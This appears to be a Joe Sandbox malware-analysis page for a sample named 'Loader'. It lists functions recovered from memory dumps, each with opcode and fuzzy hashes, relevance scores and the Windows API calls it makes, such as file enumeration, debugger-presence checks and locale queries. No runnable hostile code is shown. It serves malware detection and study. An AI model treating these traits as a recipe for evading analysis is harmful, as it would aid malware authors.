Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 1146ddccc81056c386e3743180333721cbf0372210cce86a1368e63db06309d4
Instruction ID: d4fbc7f61326168e33c7227952b21edeb9ea02aff960c2bd8b8da7993427c712
Opcode Fuzzy Hash: 1146ddccc81056c386e3743180333721cbf0372210cce86a1368e63db06309d4
Instruction Fuzzy Hash: A6D24B71E282298FDF64CE28DD40BEAB7B5EB44344F1542EAD40DE7240E778AE958F41

Function 002C0040 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction ID: ca70cbe2e87da77fe8fec5a81b5f9d53ff74a00a49ace3b5f0d6204c995dd3d8
Opcode Fuzzy Hash: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction Fuzzy Hash: 52023971E1021ADBDF14CFA9C9C0BAEFBB1FF48314F24826DD919A7241D771AA518B90

Function 002C8289 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002C8379

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 0c588a92d3998a2d4c22dbb1bf9ff92aa0d111aa9923514db42ff5eb15df279a
Instruction ID: 7f9f13ce67cf6ed000fff42ba758117e3ab856ddfd72259e348ca111c13a17cc
Opcode Fuzzy Hash: 0c588a92d3998a2d4c22dbb1bf9ff92aa0d111aa9923514db42ff5eb15df279a
Instruction Fuzzy Hash: F471E27185116A9FDF24EF248C8DFAEBBB8AB05300F1482DEE40997211EF304EA58F10

Function 002B649F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 002B64AB
IsDebuggerPresent.KERNEL32 ref: 002B6577
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 002B6590
UnhandledExceptionFilter.KERNEL32(?), ref: 002B659A

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6729b761a8e75004d8e274034cd194d4f4bb5d2a5bf4da703f80a3c22ef2fd49
Instruction ID: 6da017b0df496006466afd9b341bc69aa25255eef15b3613fe77c27fbcbc1697
Opcode Fuzzy Hash: 6729b761a8e75004d8e274034cd194d4f4bb5d2a5bf4da703f80a3c22ef2fd49
Instruction Fuzzy Hash: 0E31F7B5D412299BDF20DFA4D98D7CDBBB8EF08340F1041AAE40CAB250EB749A94CF45

Function 002C7820 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002C7874
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002C78BE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002C7984

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: bf963f6f3eaa6471f42bf2ddb669a5e26209a59472d8b5c357e3962d11ccb562
Instruction ID: 73b79af659a3c60c5d2543a8fd06b855e07735d0a02fa95bbbc707260ec8cf35
Opcode Fuzzy Hash: bf963f6f3eaa6471f42bf2ddb669a5e26209a59472d8b5c357e3962d11ccb562
Instruction Fuzzy Hash: 9D618E715642179BEB68DF24CC82FBAB7A8EF04310F10427EE905C6285EB74EA64CF50

Function 002BE5E0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 002BE6D8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 002BE6E2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 002BE6EF

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ca991d0b833592ed9195571ad47fc371f2c7509218120ef238605cbebd2f0cc0
Instruction ID: 3cac9d7c3914616986c5a80cb49c5056eaa306a48376077d491f8404e7e7468b
Opcode Fuzzy Hash: ca991d0b833592ed9195571ad47fc371f2c7509218120ef238605cbebd2f0cc0
Instruction Fuzzy Hash: D731D174951228ABCB21DF68D88D7CCBBB8BF08350F5041EAE80CA7251EB749F918F44

Function 002B6A94 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,002B5D6B,?,?,?,?,?,002AB43E), ref: 002B6ACC
GetSystemTimeAsFileTime.KERNEL32(?,83182907,?,?,002D2E8C,000000FF,?,002B6974,?,00000000,00000000,?,002B6998,?,?), ref: 002B6AD0

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: c897902301d24944a19b7fe565ecf8cd60be664bb1a7f2d182ac35796a3c6d14
Instruction ID: 63eea18564c4ca3c5d23941f7bda989d88306b8f55afc69cd8c226abf3c464e7
Opcode Fuzzy Hash: c897902301d24944a19b7fe565ecf8cd60be664bb1a7f2d182ac35796a3c6d14
Instruction Fuzzy Hash: 48F06C36954658DFCB15CF54EC49B99B7A8F745F50F004127E812A7750DB746D10CB90

Function 002CB57E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,002CB4D9,?,?,00000008,?,?,002D290E,00000000), ref: 002CB7AB

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d09208e076c9c9a4058dea6b1824d350545bb215bb970e265c5442379b0f3f9e
Instruction ID: 3148b29baf0cd536e47fb98b4a27a3a7e629f260d0573eb80c4c746e4a12c34d
Opcode Fuzzy Hash: d09208e076c9c9a4058dea6b1824d350545bb215bb970e265c5442379b0f3f9e
Instruction Fuzzy Hash: 12B139365206099FD71ACF28C48AB657BE0FF45365F25865CE899CF2A1C335D9A1CB40

Function 002B6107 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 002B611D

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: a53d235638ea3b927d91621d440c63503a769c96cf0fa217b5a7404f7e50e2fd
Instruction ID: 6bd346d91b3a94628fc51b662f9533ba6a18093dd7d380bf3455796ef1f34b1c
Opcode Fuzzy Hash: a53d235638ea3b927d91621d440c63503a769c96cf0fa217b5a7404f7e50e2fd
Instruction Fuzzy Hash: 88A16DB1A6164A8BDB18CF58ECCD6EDBBF2FB58364F14816AD415EB390C3389854CB50

Function 002C81D8 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002C3594: HeapAlloc.KERNEL32(00000008,00000000,00000000,?,002C272F,00000001,00000364,00000003,000000FF,?,00000000,?,002BA1D5,00000000,?), ref: 002C35D5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002C8379
FindNextFileW.KERNEL32(00000000,?), ref: 002C846D
FindClose.KERNEL32(00000000), ref: 002C84AC
FindClose.KERNEL32(00000000), ref: 002C84DF

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 3e76248430ce2b607a37fe69c2b8174564670f7f87080c5a1617935f1e1b0a2b
Instruction ID: a1bdf970d05cd2e5a99ff5e8c38b3273d47a949fa9bdcaf4c776af78267088c9
Opcode Fuzzy Hash: 3e76248430ce2b607a37fe69c2b8174564670f7f87080c5a1617935f1e1b0a2b
Instruction Fuzzy Hash: CC515671910159AFDF24EF689C89FBEB7A9DF45314F14829EF80997201EE308D629F60

Function 002C7AE0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002C7B34

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 467f8af5d051002c333fa8b370aa737db0ea948f08efcfa67a91e5dc0ec525b6
Instruction ID: 25d474e9ef9397a84594b794818d32d60a14c577b5248cb252377e2c0effc7da
Opcode Fuzzy Hash: 467f8af5d051002c333fa8b370aa737db0ea948f08efcfa67a91e5dc0ec525b6
Instruction Fuzzy Hash: 0921B632664206ABEB28AE14DC41F7A73A8EF04314F10417EF915D6141EB74AD24CE50

Function 002BA962 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 002BAAE6

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 12e672ff9eb1ba61bb24bb520e27fe6768ad8cd7698f971b65665912994579b6
Instruction ID: 1b9055999af23ead9144b1d5bb45c6c77a8358f1a71caa0524531cc0b034ce26
Opcode Fuzzy Hash: 12e672ff9eb1ba61bb24bb520e27fe6768ad8cd7698f971b65665912994579b6
Instruction Fuzzy Hash: 25B1047092060B8FCB28CF68C6956FEBBB1EF00384F14461ED5A297681D774AD61CB63

Function 002C7778 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

EnumSystemLocalesW.KERNEL32(002C7820,00000001,00000000,?,-00000050,?,002C7603,00000000,-00000002,00000000,?,00000055,?), ref: 002C77EA

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 6085e933345a8c1fc7c9b2fa2901b46b6d6cef14e704d9e0ff5767c7a0783d96
Instruction ID: 7f91cba97fa03e9f042495a0f1dff325867704de534ac895a6d801f1b87d14f2
Opcode Fuzzy Hash: 6085e933345a8c1fc7c9b2fa2901b46b6d6cef14e704d9e0ff5767c7a0783d96
Instruction Fuzzy Hash: C51129372143059FDB289F39C895B7AB791FF80358B14862CE94687A40D771B812CB40

Function 002C7C00 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002C7C54

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f63cb904e472adbab021c404219d647f9f5ef8123a8243a88e9565869be13b75
Instruction ID: 73565ede8345d830968f30ab253b5c83c1ae5fe116f2b76dac378cc223e35313
Opcode Fuzzy Hash: f63cb904e472adbab021c404219d647f9f5ef8123a8243a88e9565869be13b75
Instruction Fuzzy Hash: 5E119E72664257ABDB28AF28DC46FAA77A8EF05310B10427EE502D7241EB74AD258B50

Function 002C7DAD Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,002C7A3C,00000000,00000000,?), ref: 002C7DD9

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 32c86c20bf86813b4e8ceb7bc71456bd8cb9b380eee6be7875ddd629dd94338e
Instruction ID: 924af2d66afac93cae51e35967ba4594fccdf874116878b2b4ed5e60c0ea2cbe
Opcode Fuzzy Hash: 32c86c20bf86813b4e8ceb7bc71456bd8cb9b380eee6be7875ddd629dd94338e
Instruction Fuzzy Hash: AE01D637624113ABDB2C5A258C06FBA7758EB40754F15496DEC02A3180EB70EE61CEA0

Function 002C7A73 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

EnumSystemLocalesW.KERNEL32(002C7AE0,00000001,?,?,-00000050,?,002C75CB,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 002C7ABD

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7d960c622525c017fd3f073b571d31596b3200f7fb2f6d2d94c0491900254af9
Instruction ID: 26e6bf430861fbfdf0deb06d950e740ce419bf939a9caaf72c7711b144fb61ce
Opcode Fuzzy Hash: 7d960c622525c017fd3f073b571d31596b3200f7fb2f6d2d94c0491900254af9
Instruction Fuzzy Hash: A7F046362143055FDB245F35DC81F7BBB91EF81368B04852CF9014B680C6719D12CF50

Function 002C349D Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002BE891: EnterCriticalSection.KERNEL32(?,?,002C2978,?,002E4140,00000008,002C286A,00000000,00000000,?), ref: 002BE8A0

EnumSystemLocalesW.KERNEL32(002C3490,00000001,002E41C0,0000000C,002C2E91,-00000050), ref: 002C34D5

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 923dfadac4f637ffb1b3b6c5cf2573de404222e0b7e2df547c1d2697b5bc380a
Instruction ID: 2fd5871586c9827363426b666c154bca0cb7223230c5458771c29af53b6ffc30
Opcode Fuzzy Hash: 923dfadac4f637ffb1b3b6c5cf2573de404222e0b7e2df547c1d2697b5bc380a
Instruction Fuzzy Hash: F0F03736A903449FDB04EF98E88AB9CBBE0EB49761F10816AE5149B2A0CB754A508F40

Function 002C7BB5 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

EnumSystemLocalesW.KERNEL32(002C7C00,00000001,?,?,?,002C7625,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 002C7BEC

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e544c4a4dbc24ec14ce94fc83016c0c1f2f4f70ed44c3fb19887bf148c9d2669
Instruction ID: 6cfd2391ed2d023487fff8269328d1b43e3a934996afa3466da85920307e3f6f
